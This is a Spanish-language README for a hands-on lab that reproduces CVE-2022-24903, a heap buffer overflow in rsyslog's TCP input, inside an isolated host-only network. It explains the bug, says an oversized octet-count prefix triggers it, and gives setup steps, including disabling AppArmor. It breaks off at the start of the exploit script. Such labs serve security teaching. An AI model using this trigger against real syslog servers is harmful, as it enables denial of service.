andree554/cve-2022-24903-heap-based-buffer-overflow-hand-on-labCVE-2022-24902 Desbordamiento de búfer basado en montón
Autor: Andrew Beshay Mousa
Un laboratorio práctico que demuestra la vulnerabilidad de desbordamiento de búfer en el montón de rsyslog.
Un entorno de laboratorio práctico para reproducir y comprender la vulnerabilidad de desbordamiento de búfer en el montón de rsyslog (CVE-2022-24903) mediante el framing con conteo de octetos en la recepción de syslog por TCP.
CVE-2022-24903 es una vulnerabilidad de desbordamiento de búfer en el montón en el módulo de recepción de syslog por TCP (imtcp) de rsyslog cuando se utiliza el framing con conteo de octetos (RFC 5425).
Un atacante puede enviar un mensaje syslog por TCP manipulado con un prefijo de conteo de octetos excesivamente largo, lo que provoca que rsyslog escriba más allá de los límites de un búfer asignado en el montón, resultando en una denegación de servicio (DoS) o una posible corrupción de memoria.
| Atributo | Valor |
|---|---|
| ID de CVE | CVE-2022-24903 |
| Afectado | rsyslog < 8.2204.1 |
| Vector | Red |
| Puerto | 514/TCP |
| Módulo | imtcp (Entrada TCP) |
| Impacto | DoS / Corrupción del montón |
| ¿RCE probable? | No (evaluación del proveedor) |
+----------------------------------------------------------+
| Network: Host-Only |
| Subnet: 192.168.56.0/24 |
+--------------------------+-------------------------------+
| | |
| +---------------+ | +--------------------+ |
| | [Attacker] | | | [Target] | |
| | Kali Linux |<-----|----->| Ubuntu 22.04 | |
| | | TCP | | rsyslog 8.2001.0 | |
| | 192.168.56.10| 514 | | 192.168.56.20 | |
| | RAM: 2GB | | | RAM: 1GB | |
| | CPU: 1 | | | CPU: 1 | |
| +---------------+ | +--------------------+ |
| | |
+----------------------------------------------------------+
| VM | SO | Rol | IP | RAM | CPU |
|---|---|---|---|---|---|
| Objetivo | Ubuntu 22.04 | Servidor rsyslog vulnerable | 192.168.56.20 | 1 GB | 1 |
| Atacante | Kali Linux | Remitente del exploit | 192.168.56.10 | 2 GB | 1 |
Nota: Puedes usar cualquier versión de Ubuntu (20.04, 22.04, 24.04) como Objetivo. La clave está en instalar manualmente el paquete
.debde rsyslog 8.2001.0 vulnerable.
En el syslog por TCP (RFC 5425), los mensajes llevan un prefijo con su longitud en bytes:
123 <34>1 2024-01-01T00:00:00Z host app - - - message\n
└─┘
octet count (3 digits = 123 bytes follow)
En las versiones vulnerables de rsyslog, el analizador de conteo de octetos:
// Simplified vulnerable logic:
char buffer[20]; // Small heap buffer
int i = 0;
while (isdigit(ch)) { // Read digits
buffer[i++] = ch; // Write to buffer
// MISSING: if (i >= 20) break;
ch = next_char();
}
Resultado: Enviar 9999... (más de 5000 dígitos) desborda el búfer del montón, corrompiendo la memoria adyacente.
0-9)En tu hipervisor, crea una red Host-Only:
192.168.56.0/24Conecta ambas máquinas virtuales a esta red.
sudo nano /etc/netplan/00-installer-config.yaml
Pega:
network:
version: 2
ethernets:
enp0s3:
dhcp4: no
addresses:
- 192.168.56.20/24
Aplica:
sudo netplan apply
Verifica:
ip addr show | grep 192.168.56.20
sudo systemctl stop rsyslog.service syslog.socket
sudo systemctl disable rsyslog.service syslog.socket
sudo systemctl mask rsyslog.service syslog.socket
sudo apt-get remove --purge -y rsyslog
sudo apt-get autoremove -y
cd /tmp
wget http://security.ubuntu.com/ubuntu/pool/main/r/rsyslog/rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo dpkg -i rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo apt-get install -f -y
sudo apt-mark hold rsyslog
Si obtienes un error de bloqueo de dpkg:
sudo kill -9 <PID> sudo rm -f /var/lib/dpkg/lock-frontend sudo dpkg --configure -a
Verifica la versión:
rsyslogd -v | head -2
Salida esperada:
rsyslogd 8.2001.0
AppArmor puede impedir que rsyslog funcione correctamente con el paquete antiguo:
sudo systemctl stop apparmor
sudo systemctl disable apparmor
sudo nano /etc/rsyslog.conf
Limpia el archivo y pega:
module(load="imtcp")
input(type="imtcp" port="514")
*.* /var/log/all-messages.log
sudo ufw allow 514/tcp
sudo ufw --force enable
sudo systemctl unmask rsyslog.service syslog.socket
sudo systemctl restart rsyslog
sudo systemctl status rsyslog --no-pager
Verifica que está escuchando:
sudo ss -tlnp | grep 514
Esperado:
LISTEN 0 25 0.0.0.0:514 users:(("rsyslogd",pid=...,fd=4))
sudo nano /etc/network/interfaces
Pega:
auto eth0
iface eth0 inet static
address 192.168.56.10
netmask 255.255.255.0
O si usas Netplan:
sudo nano /etc/netplan/01-netcfg.yaml
network:
version: 2
ethernets:
eth0:
dhcp4: no
addresses:
- 192.168.56.10/24
sudo netplan apply
cd ~/Desktop
nano exploit.py
Pega:
#!/usr/bin/env python3
"""
CVE-2022-24903 rsyslog Heap Buffer Overflow PoC
Target: rsyslog 8.2001.0 on TCP port 514
Author: Andrew Beshay Mousa
"""
import socket
import sys